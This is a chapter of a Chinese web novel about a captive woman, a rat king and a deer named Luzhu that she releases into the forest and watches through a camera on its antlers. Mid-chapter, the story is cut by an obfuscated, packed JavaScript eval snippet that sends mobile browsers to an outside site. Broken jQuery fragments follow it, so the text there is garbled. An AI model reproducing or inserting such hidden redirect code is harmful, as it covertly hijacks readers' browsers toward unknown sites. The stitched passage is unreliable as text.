树梢上的雪开始融化了,魏清潭跟着老鼠小分队往鼠穴走去,时不时便被一滴从天而降的水滴砸中。
地上的雪和泥土混在一起,早没有之前那么干净纯白,留下了各种动物脏兮兮的脚印。
鼠族洞穴也变得潮湿起来,魏清潭一但坐下,起身就是一屁股泥,她只好带了搭帐篷用的隔湿垫,铺在露珠的洞穴里。
和春天一起到来的,还有露珠萌芽的春心。
魏清潭依照之前的诺言,不仅给露珠看了别的鹿的照片,还特意在平板电脑上下载了许多关于鹿群的视频。
露珠受到了不小的冲击。
刚开始它只是瞪着眼一动不动地望着屏幕,稍微习惯一会儿后它站起身来,凑上前闻了闻,像是指望能闻到母鹿的气味似的。
虽说视觉也是重要的信息来源,可对于动物来说,果然还是更看重气味吧。
于是她又向鼠大王“进言”,让小鼠们去寻找些沾了母鹿气味的东西,关于露珠的事,鼠大王向来慷慨,二话不说便吩咐下去了。
老鼠小分队的办事效率是有目共睹的,第二天就带回一大捧土,它们说森林里恰巧来了群鹿。
露珠果然为这捧土发起了狂,浅闻一口便开始扬起蹄子在洞穴里乱蹦,蹦完又去闻,闻完又开蹦,吓得魏清潭四处躲闪,心底对露珠那“纯洁天真”的滤镜也瞬间破碎。
自从魏清潭把它身上的囊肿全部切除,脸上的伤痕也消失得毫无痕迹,它逐渐变得膨胀自信起来,每天都要照够一小时的镜子。
眼前这只体格愈发雄健优美的公鹿,似乎等不及要去征服世界,这本是魏清潭所期望的,可她却又常常怀念起那双亮晶晶的眼睛盛满好奇,小心翼翼地问她什么是“爱情”。
摇摇脑袋撇去多余的情绪,魏清潭说到底最在意的还是她和树枝的自由。
给露珠治疗的这段时间里,魏清潭也没忘记讨好鼠群和鼠大王,破坏自然法则的东西给不了,讲讲故事什么的倒不是问题,有时候她讲累了,干脆就用平板给鼠群们放电影。
放的当然是宣传“人鼠友好”的《料理鼠王》,这部电影广受鼠群好评,以至于每晚都要重播一遍。
还记得首次放映结束当天就有几只本来想当科学家的鼠把自己的志愿改成了当厨师,甚至还悄悄爬到魏清潭头顶拽她的头发,尝试控制人类。
魏清潭自然是哭笑不得,却也没有生气,兴致来了还会陪它们演一演。
对于鼠大王的讨好则更加谄媚一些,魏清潭在网上买了个迷你转椅,东西虽小价格却不便宜,可拿到手一瞧还真对得起这个价。
鼠大王坐上那个转椅背对着魏清潭,接着他缓缓转过来,来自侧边的灯光打在他脸上,显出几分岁月的斑驳沧桑,那小黑豆似的眼睛高深莫测,只见他鼻尖动了动,说出那句意大利□□的经典台词:
“你甚至不愿叫我一声教父。”
话音刚落,站在前面举着手机录像的魏清潭就笑弯了腰,鼠大王和鼠群没看过那部大名鼎鼎的《教父》,自然不懂魏清潭是在为强烈的反差感发笑。
不过鼠大王倒的确觉得这转椅过瘾,之前的那个小木桩被他弃之不用,屁股像是在椅子垫上生了根:这份礼物确确实实地送到了鼠大王的心坎上。
魏清潭的不懈努力自然也得到回报,它们给树枝换了个更大的洞穴,虽然远比不上露珠的那个,但也足够狼坐直拉伸一下了。
树枝也能化成人形了,只不过除了嘱咐魏清潭注意安全,说起别的话题狼都显得兴致缺缺,总是欲言又止的样子,魏清潭逼问,树枝就说想要他的梳子和牙刷。
看着一只狼坐在“牢房”里乖巧地给自己的梳毛,怎么看都像个被关在冷宫里关疯了的妃子。
魏清潭猜测,树枝可能是在不见天日的洞穴里待得太久,有些抑郁了吧。
缺失阳光的确会给情绪造成负面影响,更何况树枝简直就是狼中“向日葵”。
考虑到树枝的心理健康,魏清潭不得不加快推进计划:
露珠是时候去外面溜溜了。
就跟人办大事之前会特意选个良辰吉日一样,鼠群也有这方面的考虑,只不过它们关注的更多是天气温度等自然因素。
鼠群没有适合魏清潭体型的洞穴了,所以在等待的几天里,魏清潭还是和露珠住在一块。
以往是温馨的闺蜜夜谈会,现在露珠却因为心底的焦躁兴奋,整天都用鹿形在洞穴里踏步疯跑。
为避免被误伤,魏清潭只能把身体紧紧贴住墙壁,偶尔趁露珠消停了,她才上前给他梳梳毛,修修角。
很快,露珠等候已久的那天终于来临。
鼠群们没有扩宽甬道,而是直接挖了个足够露珠从它的洞穴里走出的通道。
感觉到扑面而来的清新气息,冷冽的空气夹杂着木林的芬芳,让露珠忍不住战栗。
它回头看向鼠大王和魏清潭,眼中忽地泛起不安和胆怯,魏清潭不禁回想起初见时那只可怜的小鹿。
“谢谢你爸爸,谢谢你医生…”
鼠大王和魏清潭都点了点头,望向露珠的目光是如出一辙的欣慰和鼓励。
虽说露珠进入春季后的表现让魏清潭有些接受无能,可心底里她还是为他开心的,这毕竟是成长的必经之路,谈不上莽撞,也并不是羞耻。
等到露珠的身影消失在林间,鼠大王赶忙扭头朝魏清潭道:
“快打开!”
魏清潭也没问打开什么,从包里翻出平板电脑,点进某个软件,露珠那边的情况就显现在屏幕上。
爱子心切的鼠大王自然不可能就这么放露珠独自在外闯荡,露珠的角上早被绑了一个小小的运动相机,可以把实时的画面发送到魏清潭手中的平板上。
此刻鼠群们便看着屏幕目不转睛,画面随着露珠的动作有些动荡,只见它一会儿看着天上的鸟,一会儿又低头啃地面的嫩芽,时而疾跑时而漫步,倒是悠然自在的模样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424208|168400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
树林的间隙,终于出现了一群棕色的身影,屏幕里的露珠愣在了原地,屏幕外的魏清潭和鼠们也提起一口气。
接着它们便看见画面忽然摇摇欲坠,一通翻滚后停留在一片湛蓝色的天空。
露珠低头好奇地看了看这个从自己头顶滚落的东西,湿漉漉的鼻头就这么怼到镜头前,它也许是猜到这是魏清潭的东西,可眼下有更重要的事情,于是露珠只是闻了闻相机便走出了画面外。
“这是怎么回事!”鼠大王用爪子重重拍打转椅的扶手。
“可能是没固定好吧。”魏清潭满脸尴尬,相机会有老鼠帮她捡回来倒是不用担心,可惜鼠大王恐怕要发怒了。
果然她话音刚落鼠大王就开始发作,说亏她长那么大个还笨手笨脚的。
“您别生气,这样不也挺好的,孩子长大了总要尊重一下孩子的隐私吧!”魏清潭为自己辩解。
虽然动物没有什么关于隐私的概念,可根据她这么久以来对鼠群的观察,它们的社会结构和人类是很相似的,甚至可以说是鼠形的人类封建帝国主义时代。
有王,有臣,也有低下负责劳动的百姓,各自在各自的小洞穴里和家人一起生活。
所以说当魏清潭谈及“尊重隐私”,鼠们心里或多或少也有些体会。
鼠大王也息怒了,只不过看起来还是有些遗憾,耷拉着眼睛,佝偻着身子,显得更加苍老了。
洞穴里一时间沉寂无声,片刻后,鼠大王主动开口了:
“你们知道我为什么给露珠取名叫露珠吗?”
“因为它只吃带有露珠的新鲜草?”魏清潭的抢答换来鼠大王一个莫名其妙的眼神。
“不是。”它靠在椅背上悠悠叹口气:
“其实也没什么了不起的,就是发现露珠的那一天,所有鼠全身上下的毛发都被露水打湿了…”
“我看见露珠卧在草坪上,阳光刚好照在他身上,那孩子闪闪发光,就跟颗大大的露珠似的。”
真是莫名其妙的名字。
魏清潭听完脑中只有这一个想法,可鼠群们却一副深受触动的样子。
这个时机就很不错,所有鼠心里都软软的,她要是在这时提出放她和树枝离开,鼠大王一个高兴说不定真能答应!
预备好的说辞在舌尖打了几个转,魏清潭侧头正要开口,便听见洞外传来一阵凌乱的脚步声,抬头看去,那支跟着露珠出去的老鼠小分队丢了魂似的从洞口滚进来,多米诺骨牌似地倒成一堆:
“大王!不好了!不好了!”
它们还没说出是什么不好了,脚步声在洞口停了下来,露珠四肢并用地钻了进来:
出门时露珠还是只自信矫健的鹿,不到一小时他却满身泥土,黑玛瑙似的眼睛全是惊慌恐惧,即使爬进洞里还在忍不住地发抖。
魏清潭被吓得心脏怦怦跳,她将目光微微上移,看见那对鹿角其中之一折断,泥土和杂草污染了伤口,鲜血仍在不断地涌出。